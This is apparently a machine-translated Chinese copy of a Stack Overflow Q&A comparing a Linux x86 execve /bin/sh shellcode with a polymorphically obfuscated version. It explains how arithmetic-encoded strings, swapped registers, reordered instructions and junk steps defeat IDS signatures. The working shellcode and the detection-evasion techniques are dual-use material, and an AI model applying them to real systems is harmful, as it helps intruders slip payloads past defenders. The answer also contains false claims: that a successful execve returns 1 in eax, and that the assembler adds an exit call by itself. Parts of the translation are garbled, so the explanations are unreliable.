使用两个asm代码中的差异来解释多态混淆

这里有两个asm代码(从这个论坛中复制的polymorphic-shellcode):

obfuscation之前的原始asm:

global _start
section .text
_start
    xor    eax,eax
    push   eax
    push   dword 0x68732f2f     ; //sh
    push   dword 0x6e69622f     ; /bin
    mov    ebx,esp
    mov    ecx,eax
    mov    edx,eax
    mov    al,0xb               ; execve()
    int    0x80
    xor    eax,eax
    inc    eax
    int    0x80

混淆后修改后的asm:

global _start           
section .text
_start:
    xor edx, edx            ;line 1
    push edx                ;line 2
    mov eax, 0x563ED8B7     ;line 3
    add eax, 0x12345678     ;line 4
    push eax                ;line 5
    mov eax, 0xDEADC0DE     ;line 6
    sub eax, 0x70445EAF     ;line 7
    push eax                ;line 8
    push byte 0xb           ;line 9
    pop eax                 ;line 10
    mov ecx, edx            ;line 11
    mov ebx, esp            ;line 12
    push byte 0x1           ;line 13
    pop esi                 ;line 14
    int 0x80                ;line 15
    xchg esi, eax           ;line 16
    int 0x80                ;line 17

它做了四个改变:

1.通过执行算术运算来掩盖/ bin / sh字符串,而不是直接将十六进制值推入堆栈。

Q1.1:我可以理解3到8行(修订版)。 什么意思是9号线? 等于原始asm中的“mov al,0xb”?

2.尽可能使用不同于原始代码的寄存器。

Q2.1:例如,第1行和第2行(修订版)是指这个?

Q2.2:我明白混淆因为让IDS无法匹配关键字,为什么要更改寄存器?

3.重新排序指令。 在调用execve之前,不要以相同的顺序初始化寄存器。

问题3.1:我不明白这一点。 用上面的两个asm来解释它。

4.介绍一些不必要的步骤。 例如:推送字节0x1; 流行音乐 xchg esi,eax而不是在第一个int 0x80指令执行后弹出到eax。

Q4.1:在原始的asm中,为什么有两个int 0x80? 我试图删除最后的0x80,它仍然有效。 问题4.2:是否添加了与混淆直接相关的不必要的步骤?

Q5:为什么第10行的“pop eax”?


Q1.1:我可以理解3到8行(修订版)。 什么意思是9号线? 等于原始asm中的“mov al,0xb”?

第9行和第10行push byte 0xb, pop eax ,这明显转换为mov eax,0x0000000b 。 因为x86是小端的,所以用0xb填充al (以及eax寄存器的其余部分为零)。 所以它实际上取代了xor eax,eax / mov al,0xb组合。

push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax  -> mov eax,[ss:esp]        ; ergo eax = 0x0000000b

Q2.2:我明白混淆因为让IDS无法匹配关键字,为什么要更改寄存器?

许多编译器或多或少以标准方式使用寄存器。 像IDA-pro(或IDS)这样的高级程序可以利用这些知识将程序集反编译为可读的源代码,前提是它可以推导出用于创建程序的确切编译器版本。 通过混合寄存器,反编译器难以将汇编代码转换为更高级别(伪)的源代码。 对于使用已知代码片段来推断程序执行什么动作的IDS也是如此。

重新排序说明。 在调用execve之前,不要以相同的顺序初始化寄存器。 问题3.1:我不明白这一点。 用上面的两个asm来解释它。

如果您使用系统调用,则推断应用程序正在执行的操作相对比较容易。 Linux(例如)将调用#存储在eax并且每个调用都在预定的寄存器中指定了参数。 通过使分析程序难以确定eax的值,不清楚哪个系统调用正在执行。 没有这些知识,其他寄存器的含义(读取:参数)就无法知道。 如果你用无意义的值填充未使用的寄存器,那么事情变得更难解释。

混淆器不希望你知道它正在调用系统调用#11(execve)。 要做到这一点的唯一方法是尝试以循环方式加载0xb eax 。 如果我们总是加载eax (或第一个),那么就很容易找出发生了什么。 如果我们使用2个或更多指令加载eax ,并且在它们之间放置了大量不相关的指令,那么在执行系统调用的int 0x80之前跟踪eax的最终值变得更加困难。

Q4.1:在原始的asm中,为什么有两个int 0x80 ? 我试图删除最后的0x80,它仍然有效。 问题4.2:是否添加了与混淆直接相关的不必要的步骤?

不,先前的系统调用(execve)在成功返回时将1载入eax。 Syscall#1碰巧是sys_exit ,它干净地关闭程序。 当将代码注入到程序中时,插入代码片段之后的字节是随机垃圾,我们不想执行这些代码,因此必须干净地退出该线程。 对sys_exit的调用实现了这一点。
如果你将这个片段组装成一个独立的程序,汇编器会为你添加一个sys_exit调用。 这就是为什么删除最后一个int 0x80似乎没有区别。

Q5:为什么第10行的“pop eax”?

首先push 0xb ,然后将其popeax ,实质上执行mov eax,0xb

链接地址: http://www.djcxy.com/p/89857.html

上一篇: Explained polymorphic obfuscation using the difference within two asm codes

下一篇: Can't figure out this segfault